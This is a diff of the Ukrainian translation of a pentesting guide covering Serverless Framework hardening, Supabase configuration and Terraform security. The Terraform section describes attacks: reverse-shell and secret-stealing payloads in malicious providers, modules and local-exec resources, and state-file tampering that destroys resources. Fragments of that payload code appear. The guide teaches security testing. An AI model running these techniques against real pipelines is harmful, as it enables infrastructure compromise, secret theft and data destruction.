дані в спокої або в процесі передачі можуть бути розкриті, що призводить до витоків даних або підробки. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **Шифруйте дані в спокої:** Використовуйте функції шифрування хмарних сервісів. ```yaml resources: @@ -706,107 +706,107 @@ SSESpecification: SSEEnabled: true ``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **Шифруйте дані в процесі передачі:** Використовуйте HTTPS/TLS для всіх передач даних. +- **Забезпечте безпечну комунікацію API:** Вимагайте шифрувальні протоколи та перевіряйте сертифікати. +- **Безпечно управляйте ключами шифрування:** Використовуйте керовані сервіси ключів і регулярно змінюйте ключі. --- -### **Lack of Proper Error Handling** +### **Відсутність належної обробки помилок** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +Детальні повідомлення про помилки можуть розкрити чутливу інформацію про інфраструктуру або кодову базу, тоді як необроблені виключення можуть призвести до збоїв у додатку. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **Загальні повідомлення про помилки:** Уникайте розкриття внутрішніх деталей у відповідях на помилки. ```javascript -javascriptCopy code// Example in Node.js +javascriptCopy code// Приклад у Node.js exports.hello = async (event) => { try { -// Function logic +// Логіка функції } catch (error) { console.error(error); return { statusCode: 500, -body: JSON.stringify({ message: 'Internal Server Error' }), +body: JSON.stringify({ message: 'Внутрішня помилка сервера' }), }; } }; ``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **Централізована обробка помилок:** Керування та санітизація помилок послідовно по всіх функціях. +- **Моніторинг і ведення журналів помилок:** Відстежуйте та аналізуйте помилки внутрішньо, не розкриваючи деталей кінцевим користувачам. --- -### **Insecure Deployment Practices** +### **Небезпечні практики розгортання** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +Відкриті конфігурації розгортання або несанкціонований доступ до CI/CD конвеєрів можуть призвести до розгортання шкідливого коду або неправильних налаштувань. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **Забезпечте CI/CD конвеєри:** Реалізуйте суворі контролі доступу, багатофакторну аутентифікацію (MFA) та регулярні аудити. +- **Зберігайте конфігурацію безпечно:** Тримайте файли розгортання без жорстко закодованих секретів і чутливих даних. +- **Використовуйте інструменти безпеки інфраструктури як коду (IaC):** Використовуйте інструменти, такі як **Checkov** або **Terraform Sentinel**, для забезпечення політик безпеки. +- **Незмінні розгортання:** Запобігайте несанкціонованим змінам після розгортання, приймаючи практики незмінної інфраструктури. --- -### **Vulnerabilities in Plugins and Extensions** +### **Вразливості в плагінах і розширеннях** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +Використання неперевірених або шкідливих сторонніх плагінів може ввести вразливості у ваші безсерверні додатки. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **Ретельно перевіряйте плагіни:** Оцінюйте безпеку плагінів перед інтеграцією, віддаючи перевагу тим, що з надійних джерел. +- **Обмежте використання плагінів:** Використовуйте лише необхідні плагіни, щоб зменшити поверхню атаки. +- **Моніторте оновлення плагінів:** Тримайте плагіни оновленими, щоб скористатися патчами безпеки. +- **Ізолюйте середовища плагінів:** Запускайте плагіни в ізольованих середовищах, щоб обмежити потенційні компрометації. --- -### **Exposure of Sensitive Endpoints** +### **Витік чутливих кінцевих точок** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +Публічно доступні функції або необмежені API можуть бути використані для несанкціонованих операцій. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **Обмежте доступ до функцій:** Використовуйте VPC, групи безпеки та правила брандмауера для обмеження доступу до надійних джерел. +- **Реалізуйте надійну аутентифікацію:** Переконайтеся, що всі відкриті кінцеві точки вимагають належної аутентифікації та авторизації. +- **Використовуйте API Gateway безпечно:** Налаштуйте API Gateway для забезпечення політик безпеки, включаючи валідацію введення та обмеження швидкості. +- **Вимкніть невикористовувані кінцеві точки:** Регулярно переглядайте та вимикайте будь-які кінцеві точки, які більше не використовуються. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **Надмірні дозволи для членів команди та зовнішніх співробітників** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +Надання надмірних дозволів членам команди та зовнішнім співробітникам може призвести до несанкціонованого доступу, витоків даних і зловживання ресурсами. Цей ризик посилюється в середовищах, де кілька осіб мають різні рівні доступу, що збільшує поверхню атаки та потенціал внутрішніх загроз. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **Принцип найменшого привілею:** Переконайтеся, що члени команди та співробітники мають лише ті дозволи, які необхідні для виконання їхніх завдань. --- -### **Access Keys and License Keys Security** +### **Безпека ключів доступу та ліцензійних ключів** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**Ключі доступу** та **ліцензійні ключі** є критично важливими обліковими даними, які використовуються для аутентифікації та авторизації взаємодій з CLI Serverless Framework. -- **License Keys:** Вони є унікальними ідентифікаторами, необхідними для аутентифікації доступу до Serverless Framework Version 4, що дозволяє входити через CLI. -- **Access Keys:** Облікові дані, які дозволяють CLI Serverless Framework аутентифікуватися з панеллю управління Serverless Framework. Коли ви входите за допомогою `serverless` cli, ключ доступу буде **згенеровано та збережено на ноутбуці**. Ви також можете встановити його як змінну середовища з назвою `SERVERLESS_ACCESS_KEY`. +- **Ліцензійні ключі:** Це унікальні ідентифікатори, необхідні для аутентифікації доступу до Serverless Framework версії 4, які дозволяють входити через CLI. +- **Ключі доступу:** Облікові дані, які дозволяють CLI Serverless Framework аутентифікуватися з панеллю управління Serverless Framework. Коли ви входите за допомогою `serverless` cli, ключ доступу буде **згенеровано та збережено на ноутбуці**. Ви також можете встановити його як змінну середовища з ім'ям `SERVERLESS_ACCESS_KEY`. -#### **Security Risks** +#### **Ризики безпеки** -1. **Exposure Through Code Repositories:** -- Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** -- Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** -- Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** -- Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** -- Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **Витік через репозиторії коду:** +- Жорстке кодування або випадкове комітування ключів доступу та ліцензійних ключів у системи контролю версій може призвести до несанкціонованого доступу. +2. **Небезпечне зберігання:** +- Зберігання ключів у відкритому тексті в змінних середовища або конфігураційних файлах без належного шифрування підвищує ймовірність витоку. +3. **Неправильне розповсюдження:** +- Обмін ключами через незахищені канали (наприклад, електронна пошта, чат) може призвести до перехоплення зловмисниками. +4. **Відсутність ротації:** +- Нерегулярна ротація ключів подовжує період експозиції, якщо ключі скомпрометовані. +5. **Надмірні дозволи:** +- Ключі з широкими дозволами можуть бути використані для виконання несанкціонованих дій на кількох ресурсах. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 37f0bf9f3..fb2e5b18b 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -2,18 +2,18 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -Згідно з їх [**ліндінгом**](https://supabase.com/): Supabase - це відкритий аналог Firebase. Розпочніть свій проект з бази даних Postgres, аутентифікації, миттєвих API, Edge Functions, підписок в реальному часі, зберігання та векторних вбудовувань. +Згідно з їх [**цільовою сторінкою**](https://supabase.com/): Supabase є відкритим джерелом альтернативою Firebase. Розпочніть свій проект з бази даних Postgres, аутентифікації, миттєвих API, Edge Functions, підписок в реальному часі, зберігання та векторних вбудовувань. -### Subdomain +### Піддомен -В основному, коли проект створюється, користувач отримує піддомен supabase.co, наприклад: **`jnanozjdybtpqgcwhdiz.supabase.co`** +В основному, коли створюється проект, користувач отримає піддомен supabase.co, наприклад: **`jnanozjdybtpqgcwhdiz.supabase.co`** -## **Database configuration** +## **Конфігурація бази даних** > [!TIP] -> **Ці дані можна отримати за посиланням на `https://supabase.com/dashboard/project//settings/database`** +> **Ці дані можна отримати за посиланням, наприклад `https://supabase.com/dashboard/project//settings/database`** Ця **база даних** буде розгорнута в певному регіоні AWS, і для підключення до неї можна використовувати: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (це було створено в us-west-1).\ Пароль - це **пароль, який користувач ввів** раніше. @@ -28,18 +28,18 @@ - Налаштування розміру диска - Застосування мережевих обмежень і заборон -## API Configuration +## Конфігурація API > [!TIP] -> **Ці дані можна отримати за посиланням на `https://supabase.com/dashboard/project//settings/api`** +> **Ці дані можна отримати за посиланням, наприклад `https://supabase.com/dashboard/project//settings/api`** URL для доступу до API supabase у вашому проекті буде виглядати так: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### anon api keys +### анонімні API ключі -Він також згенерує **anon API key** (`role: "anon"`), наприклад: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, який застосування повинно використовувати для зв'язку з API, ключ якого був відкритий у нашому прикладі. +Він також згенерує **анонімний API ключ** (`role: "anon"`), наприклад: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, який застосування повинно використовувати для контакту з API ключем, що був відкритий у нашому прикладі. -Можна знайти API REST для зв'язку з цим API в [**документації**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), але найцікавіші кінцеві точки будуть: +Можна знайти API REST для контакту з цим API в [**документації**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), але найцікавіші кінцеві точки будуть:
@@ -109,7 +109,7 @@ API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJp ### JWT Secret -**JWT Secret** також буде згенеровано, щоб додаток міг **створювати та підписувати користувацькі JWT токени**. +**JWT Secret** також буде згенеровано, щоб програма могла **створювати та підписувати користувацькі JWT токени**. ## Аутентифікація @@ -118,14 +118,14 @@ API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJp > [!TIP] > За **замовчуванням** supabase дозволить **новим користувачам створювати облікові записи** у вашому проекті, використовуючи раніше згадані API кінцеві точки. -Однак ці нові облікові записи, за замовчуванням, **потрібно буде підтвердити свою електронну адресу**, щоб мати можливість увійти в обліковий запис. Можливо, активувати **"Дозволити анонімні входи"**, щоб дозволити людям входити без підтвердження своєї електронної адреси. Це може надати доступ до **неочікуваних даних** (вони отримують ролі `public` та `authenticated`).\ -Це дуже погана ідея, оскільки supabase стягує плату за активного користувача, тому люди можуть створювати користувачів і входити, і supabase стягне плату за них: +Однак ці нові облікові записи за замовчуванням **потрібно буде підтвердити свою електронну адресу**, щоб мати можливість увійти в обліковий запис. Можна активувати **"Дозволити анонімні входи"**, щоб дозволити людям входити без підтвердження своєї електронної адреси. Це може надати доступ до **неочікуваних даних** (вони отримують ролі `public` та `authenticated`).\ +Це дуже погана ідея, оскільки supabase стягує плату за активного користувача, тому люди можуть створювати користувачів і входити, а supabase стягне плату за них:
### Паролі та сесії -Можна вказати мінімальну довжину пароля (за замовчуванням), вимоги (немає за замовчуванням) та заборонити використання зламаних паролів.\ +Можна вказати мінімальну довжину пароля (за замовчуванням), вимоги (за замовчуванням немає) та заборонити використання зламаних паролів.\ Рекомендується **покращити вимоги, оскільки стандартні є слабкими**. - Сесії користувачів: Можна налаштувати, як працюють сесії користувачів (тайм-аути, 1 сесія на користувача...) @@ -139,16 +139,16 @@ API ключ виглядає так: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJp - Встановити час закінчення терміну дії токенів доступу (3600 за замовчуванням) - Встановити виявлення та відкликання потенційно скомпрометованих токенів оновлення та тайм-аут -- MFA: Вказати, скільки факторів MFA можна зареєструвати одночасно для кожного користувача (10 за замовчуванням) +- MFA: Вказати, скільки факторів MFA можна зареєструвати одночасно на одного користувача (10 за замовчуванням) - Максимальна кількість прямих з'єднань з базою даних: Максимальна кількість з'єднань, що використовуються для аутентифікації (10 за замовчуванням) -- Максимальна тривалість запиту: Максимальний час, дозволений для запиту аутентифікації (10 с за замовчуванням) +- Максимальна тривалість запиту: Максимальний час, дозволений для запиту Auth (10 с за замовчуванням) ## Сховище > [!TIP] > Supabase дозволяє **зберігати файли** та робити їх доступними через URL (використовує S3 контейнери). -- Встановити обмеження на розмір файлу для завантаження (за замовчуванням 50 МБ) +- Встановити обмеження на розмір завантажуваного файлу (за замовчуванням 50 МБ) - З'єднання S3 надається з URL, як: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` - Можна **запросити S3 ключ доступу**, який складається з `access key ID` (наприклад, `a37d96544d82ba90057e0e06131d0a7b`) та `secret access key` (наприклад, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 804661ad1..fa6f444ef 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -2,11 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація [З документації:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у зрозумілих конфігураційних файлах, які ви можете версувати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS. +HashiCorp Terraform - це **інструмент інфраструктури як код**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що читаються людиною, які ви можете версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS. #### Як працює Terraform? @@ -20,23 +20,23 @@ HashiCorp та спільнота Terraform вже написали **більш - **Написати:** Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження. - **План:** Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації. -- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, враховуючи будь-які залежності ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини. +- **Застосувати:** Після затвердження Terraform виконує запропоновані операції в правильному порядку, дотримуючись будь-яких залежностей ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини. ![](<../images/image (215).png>) -### Terraform Lab +### Лабораторія Terraform -Просто встановіть terraform на вашому комп'ютері. +Просто встановіть terraform на свій комп'ютер. Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось у вас є [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE в Terraform -Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це **мати можливість додавати/модифікувати конфігураційні файли terraform**. +Terraform **не має платформи, що відкриває веб-сторінку або мережевий сервіс**, який ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform - це **мати можливість додавати/модифікувати конфігураційні файли terraform**. Однак terraform є **дуже чутливим компонентом** для компрометації, оскільки він матиме **привілейований доступ** до різних місць, щоб працювати належним чином. -Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**. +Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, - це **скомпрометувати репозиторій, що зберігає конфігурації terraform**, оскільки в якийсь момент вони будуть **інтерпретовані**. Насправді існують рішення, які **автоматично виконують terraform plan/apply після створення PR**, такі як **Atlantis**: @@ -48,11 +48,11 @@ atlantis-security.md ### Terraform plan -Terraform plan — це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`. +Terraform plan - це **найбільш використовувана команда** в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому **найпростіший спосіб отримати RCE** - це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в `terraform plan`. **Використання зовнішнього провайдера** -Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконати довільний код під час `plan`. +Terraform пропонує [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs), який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних `external`, щоб виконувати довільний код під час `plan`. Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання `terraform plan`: ```javascript @@ -75,9 +75,9 @@ version = "1.0" provider "evil" {} ``` -Провайдер завантажується в `init` і запустить шкідливий код, коли буде виконано `plan` +Провайдер завантажується в `init` і виконає шкідливий код, коли буде виконано `plan` -Ви можете знайти приклад за посиланням [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +Ви можете знайти приклад у [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) **Використання зовнішнього посилання** @@ -96,7 +96,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ### Terraform Apply Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи **зловмисний Terraform файл з** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Вам просто потрібно переконатися, що якийсь payload, подібний до наведених нижче, закінчує у файлі `main.tf`: +Вам просто потрібно переконатися, що якийсь payload, наприклад, наступні, закінчується у файлі `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -124,7 +124,7 @@ value = nonsensitive(var.do_token) ``` ## Зловживання файлами стану Terraform -У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів, щоб скористатися файлом: +У випадку, якщо у вас є доступ на запис до файлів стану terraform, але ви не можете змінити код terraform, [**це дослідження**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) пропонує кілька цікавих варіантів використання файлу: ### Видалення ресурсів @@ -132,7 +132,7 @@ value = nonsensitive(var.do_token) 1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення** -Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу, що вказаний). Приклад з попередньої сторінки: +Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки: ```json { "mode": "managed", @@ -150,11 +150,11 @@ value = nonsensitive(var.do_token) ``` 2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)** -Для EC2 інстансу, зміна типу інстансу є достатньою для того, щоб terraform видалив і відтворив його. +Для EC2 інстансу зміна типу інстансу є достатньою, щоб terraform видалив і відтворив його. ### RCE -Також можливо [створити власного провайдера](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження: +Також можливо [створити власний провайдер](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження: ```json "resources": [ { @@ -186,18 +186,18 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Automatic Audit Tools +## Автоматизовані інструменти аудиту ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) Snyk пропонує всебічне рішення для сканування Infrastructure as Code (IaC), яке виявляє вразливості та неправильні налаштування в Terraform, CloudFormation, Kubernetes та інших форматах IaC. -- **Features:** +- **Особливості:** - Сканування в реальному часі для вразливостей безпеки та проблем з відповідністю. - Інтеграція з системами контролю версій (GitHub, GitLab, Bitbucket). - Автоматизовані запити на виправлення. - Докладні рекомендації щодо усунення. -- **Sign Up:** Створіть обліковий запис на [Snyk](https://snyk.io/). +- **Реєстрація:** Створіть обліковий запис на [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk @@ -208,23 +208,23 @@ snyk iac test /path/to/terraform/code **Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів. -Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою графового сканування. +Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою сканування на основі графів. -Він виконує [аналіз складу програмного забезпечення (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE). +Він виконує [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), що є скануванням відкритих пакетів та зображень на наявність загальних вразливостей та експозицій (CVE). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування вашої інфраструктури як коду. +З [**документації**](https://github.com/terraform-compliance/cli): `terraform-compliance` - це легка, орієнтована на безпеку та відповідність тестова рамка для terraform, що дозволяє здійснювати негативне тестування для вашої інфраструктури як коду. -- **відповідність:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам -- **розробка, орієнтована на поведінку:** У нас є BDD практично для всього, чому б не для IaC? -- **портативність:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Встановлення](https://terraform-compliance.com/pages/installation/) -- **попереднє розгортання:** він перевіряє ваш код перед його розгортанням -- **легкість інтеграції:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань. -- **сегрегація обов'язків:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них. +- **compliance:** Переконайтеся, що реалізований код відповідає стандартам безпеки, вашим власним стандартам +- **behaviour driven development:** У нас є BDD практично для всього, чому б не для IaC? +- **portable:** просто встановіть його з `pip` або запустіть через `docker`. Дивіться [Installation](https://terraform-compliance.com/pages/installation/) +- **pre-deploy:** він перевіряє ваш код перед його розгортанням +- **easy to integrate:** він може працювати у вашому конвеєрі (або в git hooks), щоб забезпечити перевірку всіх розгортань. +- **segregation of duty:** ви можете зберігати свої тести в іншому репозиторії, де окрема команда відповідає за них. > [!NOTE] > На жаль, якщо код використовує деякі провайдери, до яких у вас немає доступу, ви не зможете виконати `terraform plan` і запустити цей інструмент. @@ -237,12 +237,12 @@ terraform-compliance -f /path/to/folder З [**документації**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань. -- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) постачальників хмарних послуг +- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів - ⛔ Сотні вбудованих правил - 🪆 Сканує модулі (локальні та віддалені) -- ➕ Оцінює вирази HCL, а також літеральні значення +- ➕ Оцінює HCL вирази, а також літеральні значення - ↪️ Оцінює функції Terraform, наприклад, `concat()` -- 🔗 Оцінює взаємозв'язки між ресурсами Terraform +- 🔗 Оцінює відносини між ресурсами Terraform - 🧰 Сумісний з Terraform CDK - 🙅 Застосовує (та прикрашає) визначені користувачем політики Rego - 📃 Підтримує кілька форматів виводу: lovely (за замовчуванням), JSON, SARIF, CSV, CheckStyle, JUnit, текст, Gif. @@ -254,15 +254,15 @@ tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Знайдіть вразливості безпеки, проблеми з відповідністю та неправильні конфігурації 